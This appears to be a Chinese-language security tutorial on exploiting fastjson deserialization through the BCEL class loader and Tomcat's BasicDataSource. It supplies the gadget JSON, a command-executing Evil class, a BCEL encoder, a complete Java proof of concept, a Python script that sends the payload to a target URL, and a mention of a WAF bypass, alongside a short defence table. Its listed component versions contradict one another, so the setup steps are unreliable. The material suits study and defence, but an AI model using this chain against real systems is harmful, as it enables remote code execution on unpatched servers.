深入解析fastjson BCEL链：从原理到漏洞利用（含环境搭建教程）
深入解析fastjson BCEL链：从原理到漏洞利用实战指南
在Java安全研究领域，反序列化漏洞一直是攻防对抗的热点战场。当安全研究人员面对一个无法外连互联网的目标系统时，传统的JNDI注入等攻击手段往往失效，这时BCEL链就展现出其独特价值。本文将带您深入BCEL技术的内核，从字节码加载机制到fastjson反序列化触发点，最终构建完整的漏洞验证环境。
1. BCEL技术原理解析
BCEL（Apache Commons Byte Code Engineering Library）是Apache基金会下的字节码操作工具库，它提供了一套完整的API用于分析、创建和修改Java类文件。在安全研究领域，BCEL的特殊类加载机制成为了突破不出网环境的关键。
com.sun.org.apache.bcel.internal.util.ClassLoader类中的关键逻辑如下：
public Class<?> loadClass(String class_name) throws ClassNotFoundException { if(class_name.indexOf("$$BCEL$$") >= 0) { return createClass(class_name); } // ... 其他处理逻辑 }这个看似简单的条件判断，却隐藏着危险的字节码加载机制。当类名包含$$BCEL$$前缀时，BCEL会执行以下操作序列：
- 提取
$$BCEL$$后的Base64编码字符串 - 使用自定义算法解码为原始字节码
- 通过defineClass方法动态加载解码后的类
注意：BCEL编码并非标准Base64，其算法在Utility类中实现，包含特殊的压缩和格式转换
2. fastjson反序列化触发点分析
fastjson在反序列化过程中，会通过setter方法为对象属性赋值。要构造有效的攻击链，需要找到同时满足以下条件的类：
- 存在可被fastjson控制的ClassLoader类型属性
- 存在可被设置为BCEL Payload的字符串类型属性
- 在对象初始化过程中会自动触发类加载操作
org.apache.tomcat.dbcp.dbcp2.BasicDataSource类完美符合这些条件：
// 简化后的关键调用链 BasicDataSource.getConnection() → createDataSource() → createConnectionFactory() → Class.forName(driverClassName, true, driverClassLoader)通过精心构造的JSON对象，我们可以控制driverClassName和driverClassLoader这两个关键参数：
{ "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "$$BCEL$$...", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" } }3. 完整漏洞验证环境搭建
3.1 环境准备
需要以下组件：
- JDK 8u91（其他版本可能因类加载机制差异导致失败）
- fastjson 1.2.4
- Tomcat DBCP 2.0.0
Maven依赖配置示例：
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>9.0.20</version> </dependency> </dependencies>3.2 恶意类生成与编码
- 创建包含恶意代码的Evil类：
public class Evil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }- 编译并生成BCEL编码：
import com.sun.org.apache.bcel.internal.classfile.Utility; public class BCELEncoder { public static void main(String[] args) throws Exception { byte[] bytes = java.nio.file.Files.readAllBytes( java.nio.file.Paths.get("Evil.class")); String code = Utility.encode(bytes, true); System.out.println("$$BCEL$$" + code); } }3.3 漏洞验证POC
完整攻击代码示例：
import com.alibaba.fastjson.JSON; public class FastjsonBcelPoc { public static void main(String[] args) { String payload = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"," + "\"driverClassName\":\"$$BCEL$$...\"," + "\"driverClassLoader\":{" + "\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}"; JSON.parseObject(payload); } }4. 防御方案与检测建议
4.1 安全防护措施
| 防护层面 | 具体措施 | 有效性 |
|---|---|---|
| 代码层面 | 升级fastjson至1.2.83+版本 | ★★★★★ |
| 运行时 | 配置JVM安全策略限制动态类加载 | ★★★★☆ |
| 网络层面 | 限制目标系统外连能力 | ★★★☆☆ |
| 监控层面 | 检测异常类加载行为 | ★★★★☆ |
4.2 检测脚本示例
以下Python脚本可用于检测fastjson漏洞：
import requests import json def check_fastjson_bcel(url): headers = {'Content-Type': 'application/json'} payload = { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassName": "$$BCEL$$test", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" } } try: resp = requests.post(url, data=json.dumps(payload), headers=headers, timeout=5) if 'ClassNotFoundException' in resp.text: return True except Exception as e: pass return False在实际安全研究中，理解BCEL链的触发机制比单纯使用现成POC更有价值。我曾在一个内部红队演练中，遇到过滤$$BCEL$$关键词的WAF，通过分析BCEL源码发现可以通过反射修改ClassLoader的校验逻辑成功绕过防护。这种深入原理的研究往往能在特殊场景下发挥奇效。